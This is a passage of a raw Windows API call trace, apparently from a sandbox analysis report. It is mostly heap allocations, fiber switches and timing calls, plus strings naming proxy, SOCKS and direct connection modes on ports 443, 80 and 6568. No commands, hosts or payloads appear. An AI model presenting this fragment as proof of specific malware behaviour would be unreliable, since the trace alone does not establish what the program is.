lpMem=0xe160e0 | out: hHeap=0x3b0000) returned 1 [0196.990] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ad08 [0196.990] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ad08 | out: hHeap=0x3b0000) returned 1 [0196.990] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ad08 [0196.990] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abe8 | out: hHeap=0x3b0000) returned 1 [0196.991] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4e2a8 | out: hHeap=0x3b0000) returned 1 [0196.991] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b960 | out: hHeap=0x3b0000) returned 1 [0196.991] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ad08 | out: hHeap=0x3b0000) returned 1 [0196.991] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ad08 [0196.991] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ad08 | out: hHeap=0x3b0000) returned 1 [0196.991] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ad08 [0196.991] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab98 | out: hHeap=0x3b0000) returned 1 [0196.992] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0b2d0 | out: hHeap=0x3b0000) returned 1 [0196.992] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b900 | out: hHeap=0x3b0000) returned 1 [0196.992] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ad08 | out: hHeap=0x3b0000) returned 1 [0196.992] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ad08 [0196.992] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ad08 | out: hHeap=0x3b0000) returned 1 [0196.992] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ad08 [0196.992] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac08 | out: hHeap=0x3b0000) returned 1 [0196.992] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4e1f8 | out: hHeap=0x3b0000) returned 1 [0196.992] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b880 | out: hHeap=0x3b0000) returned 1 [0196.992] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ad08 | out: hHeap=0x3b0000) returned 1 [0196.993] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ad08 [0196.993] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ad08 | out: hHeap=0x3b0000) returned 1 [0196.993] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0xe55360 [0196.993] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55168 | out: hHeap=0x3b0000) returned 1 [0196.993] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe320b8 | out: hHeap=0x3b0000) returned 1 [0196.993] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b8e0 | out: hHeap=0x3b0000) returned 1 [0196.993] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55360 | out: hHeap=0x3b0000) returned 1 [0196.993] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ad08 [0196.993] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ad08 | out: hHeap=0x3b0000) returned 1 [0196.993] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ad08 [0196.993] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aca8 | out: hHeap=0x3b0000) returned 1 [0196.993] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10e58 | out: hHeap=0x3b0000) returned 1 [0196.993] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b920 | out: hHeap=0x3b0000) returned 1 [0196.994] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ad08 | out: hHeap=0x3b0000) returned 1 [0196.994] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ad08 [0196.994] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ad08 | out: hHeap=0x3b0000) returned 1 [0196.994] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ad08 [0196.994] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abb8 | out: hHeap=0x3b0000) returned 1 [0196.994] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4e300 | out: hHeap=0x3b0000) returned 1 [0196.994] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b940 | out: hHeap=0x3b0000) returned 1 [0196.994] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ad08 | out: hHeap=0x3b0000) returned 1 [0196.994] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4e3b0 | out: hHeap=0x3b0000) returned 1 [0196.994] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4bc40 | out: hHeap=0x3b0000) returned 1 [0196.994] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b9a0 | out: hHeap=0x3b0000) returned 1 [0196.995] SwitchToFiber (lpFiber=0x5c4f98) [0196.995] QueryPerformanceCounter (in: lpPerformanceCount=0x271f738 | out: lpPerformanceCount=0x271f738*=2583601082231) returned 1 [0196.995] WaitForMultipleObjects (nCount=0x6, lpHandles=0x36cc0c*=0x1b8, bWaitAll=0, dwMilliseconds=0x26df) returned 0x2 [0196.995] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe55360 [0196.995] QueryPerformanceCounter (in: lpPerformanceCount=0x271f730 | out: lpPerformanceCount=0x271f730*=2583601126737) returned 1 [0196.995] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ad08 [0196.995] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55360 | out: hHeap=0x3b0000) returned 1 [0196.995] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ad08 | out: hHeap=0x3b0000) returned 1 [0196.995] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55360 [0196.996] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550c0 | out: hHeap=0x3b0000) returned 1 [0196.996] QueryPerformanceFrequency (in: lpFrequency=0x271f74c | out: lpFrequency=0x271f74c*=100000000) returned 1 [0196.996] QueryPerformanceCounter (in: lpPerformanceCount=0x271f74c | out: lpPerformanceCount=0x271f74c*=2583601185206) returned 1 [0196.996] SwitchToFiber (lpFiber=0x5d2978) [0196.996] GetTickCount () returned 0x1880f82 [0196.996] GetLastError () returned 0xb7 [0196.996] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x214) returned 0xe5c520 [0196.997] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0196.997] GetCurrentThreadId () returned 0xa0c [0196.997] SetLastError (dwErrCode=0xb7) [0196.997] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x17) returned 0xe4b9a0 [0196.997] GetLastError () returned 0x0 [0196.998] GetSystemTime (in: lpSystemTime=0x3acfccc | out: lpSystemTime=0x3acfccc*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x17, wMilliseconds=0x246)) [0196.998] GetCurrentThreadId () returned 0xa0c [0196.998] GetCurrentProcessId () returned 0x994 [0196.998] GetLastError () returned 0x0 [0196.998] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x24) returned 0xe33648 [0196.998] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3acf8d4, cbMultiByte=-1, lpWideCharStr=0xe33648, cchWideChar=18 | out: lpWideCharStr="connect_proxy_443") returned 18 [0196.998] GetLastError () returned 0x0 [0196.998] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x22) returned 0xe33678 [0196.999] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3acf8d4, cbMultiByte=-1, lpWideCharStr=0xe33678, cchWideChar=17 | out: lpWideCharStr="connect_proxy_80") returned 17 [0196.999] GetLastError () returned 0x0 [0196.999] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe14c40 [0196.999] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3acf8d4, cbMultiByte=-1, lpWideCharStr=0xe14c40, cchWideChar=16 | out: lpWideCharStr="socks_proxy_443") returned 16 [0196.999] GetLastError () returned 0x0 [0196.999] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x16) returned 0xe4bc40 [0196.999] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3acf8d4, cbMultiByte=-1, lpWideCharStr=0xe4bc40, cchWideChar=11 | out: lpWideCharStr="direct_443") returned 11 [0196.999] GetLastError () returned 0x0 [0196.999] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b940 [0196.999] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3acf8d4, cbMultiByte=-1, lpWideCharStr=0xe4b940, cchWideChar=10 | out: lpWideCharStr="direct_80") returned 10 [0196.999] GetLastError () returned 0x0 [0196.999] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe4b920 [0196.999] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3acf8d4, cbMultiByte=-1, lpWideCharStr=0xe4b920, cchWideChar=12 | out: lpWideCharStr="direct_6568") returned 12 [0196.999] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x57) returned 0xe160e0 [0197.000] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02540 | out: hHeap=0x3b0000) returned 1 [0197.000] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe02540 [0197.000] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b8e0 [0197.000] GetCurrentThreadId () returned 0xa0c [0197.001] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02540 | out: hHeap=0x3b0000) returned 1 [0197.001] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe02540 [0197.001] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b880 [0197.001] GetCurrentThreadId () returned 0xa0c [0197.001] GetLastError () returned 0x0 [0197.001] GetSystemTime (in: lpSystemTime=0x3acfb94 | out: lpSystemTime=0x3acfb94*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x17, wMilliseconds=0x246)) [0197.001] GetCurrentThreadId () returned 0xa0c [0197.002] GetCurrentProcessId () returned 0x994 [0197.002] GetLastError () returned 0x0 [0197.002] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe550c0 [0197.002] GetCurrentThreadId () returned 0xa0c [0197.002] QueryPerformanceFrequency (in: lpFrequency=0x3acfc20 | out: lpFrequency=0x3acfc20*=100000000) returned 1 [0197.002] QueryPerformanceCounter (in: lpPerformanceCount=0x3acfc20 | out: lpPerformanceCount=0x3acfc20*=2583601813321) returned 1 [0197.002] QueryPerformanceCounter (in: lpPerformanceCount=0x3acfc38 | out: lpPerformanceCount=0x3acfc38*=2583601820436) returned 1 [0197.002] QueryPerformanceCounter (in: lpPerformanceCount=0x3acfc40 | out: lpPerformanceCount=0x3acfc40*=2583601832448) returned 1 [0197.002] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe4b900 [0197.002] QueryPerformanceCounter (in: lpPerformanceCount=0x3acfb58 | out: lpPerformanceCount=0x3acfb58*=2583601848799) returned 1 [0197.002] GetCurrentThreadId () returned 0xa0c [0197.002] SwitchToFiber (lpFiber=0x5c4f98) [0197.002] SwitchToFiber (lpFiber=0x5c4c98) [0197.003] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550c0 | out: hHeap=0x3b0000) returned 1 [0197.003] SwitchToFiber (lpFiber=0x5c4f98) [0197.003] SwitchToFiber (lpFiber=0x5ca728) [0197.003] GetLastError () returned 0x0 [0197.003] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ad08 [0197.003] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2e1ef8c, cbMultiByte=-1, lpWideCharStr=0xe4ad08, cchWideChar=2 | out: lpWideCharStr="1") returned 2 [0197.003] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ad08 | out: hHeap=0x3b0000) returned 1 [0197.003] GetLastError () returned 0x0 [0197.003] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ad08 [0197.003] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2e1efb0, cbMultiByte=-1, lpWideCharStr=0xe4ad08, cchWideChar=4 | out: lpWideCharStr="1.0") returned 4 [0197.004] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ad08 | out: hHeap=0x3b0000) returned 1 [0197.004] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b8e0 | out: hHeap=0x3b0000) returned 1 [0197.004] GetLastError () returned 0x0 [0197.004] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ad08 [0197.004] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2e1ef8c, cbMultiByte=-1, lpWideCharStr=0xe4ad08, cchWideChar=2 | out: lpWideCharStr="1") returned 2 [0197.004] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ad08 | out: hHeap=0x3b0000) returned 1 [0197.004] GetLastError () returned 0x0 [0197.004] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ad08 [0197.004] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2e1efb0, cbMultiByte=-1, lpWideCharStr=0xe4ad08, cchWideChar=4 | out: lpWideCharStr="1.0") returned 4 [0197.004] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ad08 | out: hHeap=0x3b0000) returned 1 [0197.004] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b880 | out: hHeap=0x3b0000) returned 1 [0197.004] SwitchToFiber (lpFiber=0x5c4f98) [0197.005] QueryPerformanceCounter (in: lpPerformanceCount=0x271f738 | out: lpPerformanceCount=0x271f738*=2583602075477) returned 1 [0197.005] WaitForMultipleObjects (nCount=0x6, lpHandles=0x36cc0c*=0x1b8, bWaitAll=0, dwMilliseconds=0x8) returned 0x3 [0197.005] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe550c0 [0197.005] QueryPerformanceCounter (in: lpPerformanceCount=0x271f730 | out: lpPerformanceCount=0x271f730*=2583602107062) returned 1 [0197.005] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ad08 [0197.005] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550c0 | out: hHeap=0x3b0000) returned 1 [0197.005] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ad08 | out: hHeap=0x3b0000) returned 1 [0197.005] WaitForSingleObject (hHandle=0x200, dwMilliseconds=0xffffffff) returned 0x0 [0197.006] ReleaseMutex (hMutex=0x200) returned 1 [0197.006] QueryPerformanceFrequency (in: lpFrequency=0x271f74c | out: lpFrequency=0x271f74c*=100000000) returned 1 [0197.006] QueryPerformanceCounter (in: lpPerformanceCount=0x271f74c | out: lpPerformanceCount=0x271f74c*=2583602197206) returned 1 [0197.006] QueryPerformanceCounter (in: lpPerformanceCount=0x271f738 | out: lpPerformanceCount=0x271f738*=2583602206900) returned 1 [0197.006] WaitForMultipleObjects (nCount=0x6, lpHandles=0x36cc0c*=0x1b8, bWaitAll=0, dwMilliseconds=0x6) returned 0x102 [0197.028] QueryPerformanceCounter (in: lpPerformanceCount=0x271f730 | out: lpPerformanceCount=0x271f730*=2583604417507) returned 1 [0197.028] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b880 [0197.028] GetCurrentThreadId () returned 0xa0c [0197.028] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b900 | out: hHeap=0x3b0000) returned 1 [0197.028] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ad08 [0197.028] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ad08 | out: hHeap=0x3b0000) returned 1 [0197.029] QueryPerformanceFrequency (in: lpFrequency=0x271f74c | out: lpFrequency=0x271f74c*=100000000) returned 1 [0197.029] QueryPerformanceCounter (in: lpPerformanceCount=0x271f74c | out: lpPerformanceCount=0x271f74c*=2583604492288) returned 1 [0197.029] SwitchToFiber (lpFiber=0x5d2978) [0197.029] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b880 | out: hHeap=0x3b0000) returned 1 [0197.029] QueryPerformanceCounter (in: lpPerformanceCount=0x3acfc40 | out: lpPerformanceCount=0x3acfc40*=2583604526189) returned 1 [0197.029] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe4b880 [0197.029] QueryPerformanceCounter (in: lpPerformanceCount=0x3acfb58 | out: lpPerformanceCount=0x3acfb58*=2583604541413) returned 1 [0197.029] GetCurrentThreadId () returned 0xa0c [0197.029] SwitchToFiber (lpFiber=0x5c4f98) [0197.029] QueryPerformanceCounter (in: lpPerformanceCount=0x271f738 | out: lpPerformanceCount=0x271f738*=2583604561905) returned 1 [0197.030] WaitForMultipleObjects (nCount=0x6, lpHandles=0x36cc0c*=0x1b8, bWaitAll=0, dwMilliseconds=0xa) returned 0x102 [0197.035] QueryPerformanceCounter (in: lpPerformanceCount=0x271f730 | out: lpPerformanceCount=0x271f730*=2583605127424) returned 1 [0197.035] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ad08 [0197.035] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ad08 | out: hHeap=0x3b0000) returned 1 [0197.036] QueryPerformanceFrequency (in: lpFrequency=0x271f74c | out: lpFrequency=0x271f74c*=100000000) returned 1 [0197.036] QueryPerformanceCounter (in: lpPerformanceCount=0x271f74c | out: lpPerformanceCount=0x271f74c*=2583605185477) returned 1 [0197.036] QueryPerformanceCounter (in: lpPerformanceCount=0x271f738 | out: lpPerformanceCount=0x271f738*=2583605194937) returned 1 [0197.036] WaitForMultipleObjects (nCount=0x6, lpHandles=0x36cc0c*=0x1b8, bWaitAll=0, dwMilliseconds=0x3) returned 0x102 [0197.051] QueryPerformanceCounter (in: lpPerformanceCount=0x271f730 | out: lpPerformanceCount=0x271f730*=2583606725719) returned 1 [0197.051] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b900 [0197.051] GetCurrentThreadId () returned 0xa0c [0197.051] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b880 | out: hHeap=0x3b0000) returned 1 [0197.051] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ad08 [0197.052] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ad08 | out: hHeap=0x3b0000) returned 1 [0197.052] QueryPerformanceFrequency (in: lpFrequency=0x271f74c | out: lpFrequency=0x271f74c*=100000000) returned 1 [0197.052] QueryPerformanceCounter (in: lpPerformanceCount=0x271f74c | out: lpPerformanceCount=0x271f74c*=2583606798952) returned 1 [0197.052] SwitchToFiber (lpFiber=0x5d2978) [0197.052] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b900 | out: hHeap=0x3b0000) returned 1 [0197.052] QueryPerformanceCounter (in: lpPerformanceCount=0x3acfc40 | out: lpPerformanceCount=0x3acfc40*=2583606825928) returned 1 [0197.052] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe4b900 [0197.052] QueryPerformanceCounter (in: lpPerformanceCount=0x3acfb58 | out: lpPerformanceCount=0x3acfb58*=2583606841423) returned 1 [0197.052] GetCurrentThreadId () returned 0xa0c [0197.052] SwitchToFiber (lpFiber=0x5c4f98) [0197.052] QueryPerformanceCounter (in: lpPerformanceCount=0x271f738 | out: lpPerformanceCount=0x271f738*=2583606861998) returned 1 [0197.053] WaitForMultipleObjects (nCount=0x6, lpHandles=0x36cc0c*=0x1b8, bWaitAll=0, dwMilliseconds=0xa) returned 0x102 [0197.066] QueryPerformanceCounter (in: lpPerformanceCount=0x271f730 | out: lpPerformanceCount=0x271f730*=2583608251326) returned 1 [0197.066] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b880 [0197.067] GetCurrentThreadId () returned 0xa0c [0197.067] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b900 | out: hHeap=0x3b0000) returned 1 [0197.067] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ad08 [0197.067] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ad08 | out: hHeap=0x3b0000) returned 1 [0197.067] QueryPerformanceFrequency (in: lpFrequency=0x271f74c | out: lpFrequency=0x271f74c*=100000000) returned 1 [0197.067] QueryPerformanceCounter (in: lpPerformanceCount=0x271f74c | out: lpPerformanceCount=0x271f74c*=2583608325291) returned 1 [0197.067] SwitchToFiber (lpFiber=0x5d2978) [0197.067] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b880 | out: hHeap=0x3b0000) returned 1 [0197.067] QueryPerformanceCounter (in: lpPerformanceCount=0x3acfc40 | out: lpPerformanceCount=0x3acfc40*=2583608353433) returned 1 [0197.067] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe4b880 [0197.067] QueryPerformanceCounter (in: lpPerformanceCount=0x3acfb58 | out: lpPerformanceCount=0x3acfb58*=2583608368993) returned 1 [0197.068] GetCurrentThreadId () returned 0xa0c [0197.068] SwitchToFiber (lpFiber=0x5c4f98) [0197.068] QueryPerformanceCounter (in: lpPerformanceCount=0x271f738 | out: lpPerformanceCount=0x271f738*=2583608389998) returned 1 [0197.068] WaitForMultipleObjects (nCount=0x6, lpHandles=0x36cc0c*=0x1b8, bWaitAll=0, dwMilliseconds=0xa) returned 0x102 [0197.082] QueryPerformanceCounter (in: lpPerformanceCount=0x271f730 | out: lpPerformanceCount=0x271f730*=2583609812167) returned 1 [0197.082] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b900 [0197.082] GetCurrentThreadId () returned 0xa0c [0197.082] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b880 | out: hHeap=0x3b0000) returned 1 [0197.082] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ad08 [0197.082] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ad08 | out: hHeap=0x3b0000) returned 1 [0197.083] QueryPerformanceFrequency (in: lpFrequency=0x271f74c | out: lpFrequency=0x271f74c*=100000000) returned 1 [0197.088] QueryPerformanceCounter (in: lpPerformanceCount=0x271f74c | out: lpPerformanceCount=0x271f74c*=2583610427739) returned 1 [0197.088] SwitchToFiber (lpFiber=0x5d2978) [0197.088] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b900 | out: hHeap=0x3b0000) returned 1 [0197.088] QueryPerformanceCounter (in: lpPerformanceCount=0x3acfc40 | out: lpPerformanceCount=0x3acfc40*=2583610462769) returned 1 [0197.089] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe4b900 [0197.089] QueryPerformanceCounter (in: lpPerformanceCount=0x3acfb58 | out: lpPerformanceCount=0x3acfb58*=2583610480004) returned 1 [0197.089] GetCurrentThreadId () returned 0xa0c [0197.089] SwitchToFiber (lpFiber=0x5c4f98) [0197.089] QueryPerformanceCounter (in: lpPerformanceCount=0x271f738 | out: lpPerformanceCount=0x271f738*=2583610501472) returned 1 [0197.089] WaitForMultipleObjects (nCount=0x6, lpHandles=0x36cc0c*=0x1b8, bWaitAll=0, dwMilliseconds=0x9) returned 0x102 [0197.097] QueryPerformanceCounter (in: lpPerformanceCount=0x271f730 | out: lpPerformanceCount=0x271f730*=2583611363655) returned 1 [0197.098] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ad08 [0197.098] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ad08 | out: hHeap=0x3b0000) returned 1 [0197.098] QueryPerformanceFrequency (in: lpFrequency=0x271f74c | out: lpFrequency=0x271f74c*=100000000) returned 1 [0197.098] QueryPerformanceCounter (in: lpPerformanceCount=0x271f74c | out: lpPerformanceCount=0x271f74c*=2583611415386) returned 1 [0197.098] QueryPerformanceCounter (in: lpPerformanceCount=0x271f738 | out: lpPerformanceCount=0x271f738*=2583611424876) returned 1 [0197.098] WaitForMultipleObjects (nCount=0x6, lpHandles=0x36cc0c*=0x1b8, bWaitAll=0, dwMilliseconds=0x1) returned 0x102 [0197.114] QueryPerformanceCounter (in: lpPerformanceCount=0x271f730 | out: lpPerformanceCount=0x271f730*=2583613042225) returned 1 [0197.114] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b880 [0197.114] GetCurrentThreadId () returned 0xa0c [0197.115] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b900 | out: hHeap=0x3b0000) returned 1 [0197.115] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ad08 [0197.115] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ad08 | out: hHeap=0x3b0000) returned 1 [0197.115] QueryPerformanceFrequency (in: lpFrequency=0x271f74c | out: lpFrequency=0x271f74c*=100000000) returned 1 [0197.115] QueryPerformanceCounter (in: lpPerformanceCount=0x271f74c | out: lpPerformanceCount=0x271f74c*=2583613117188) returned 1 [0197.115] SwitchToFiber (lpFiber=0x5d2978) [0197.115] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b880 | out: hHeap=0x3b0000) returned 1 [0197.115] QueryPerformanceCounter (in: lpPerformanceCount=0x3acfc40 | out: lpPerformanceCount=0x3acfc40*=2583613149458) returned 1 [0197.115] GetLastError () returned 0x0 [0197.116] GetSystemTime (in: lpSystemTime=0x3acfbe0 | out: lpSystemTime=0x3acfbe0*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x17, wMilliseconds=0x2c3)) [0197.116] GetCurrentThreadId () returned 0xa0c [0197.116] GetCurrentProcessId () returned 0x994 [0197.116] GetLastError () returned 0x0 [0197.117] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x24) returned 0xe336a8 [0197.117] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3acf82c, cbMultiByte=-1, lpWideCharStr=0xe336a8, cchWideChar=18 | out: lpWideCharStr="connect_proxy_443") returned 18 [0197.118] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe336a8 | out: hHeap=0x3b0000) returned 1 [0197.118] GetLastError () returned 0x0 [0197.118] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x24) returned 0xe336a8 [0197.118] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3acf82c, cbMultiByte=-1, lpWideCharStr=0xe336a8, cchWideChar=18 | out: lpWideCharStr="connect_proxy_443") returned 18 [0197.118] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49500 | out: hHeap=0x3b0000) returned 1 [0197.118] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49510 | out: hHeap=0x3b0000) returned 1 [0197.118] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 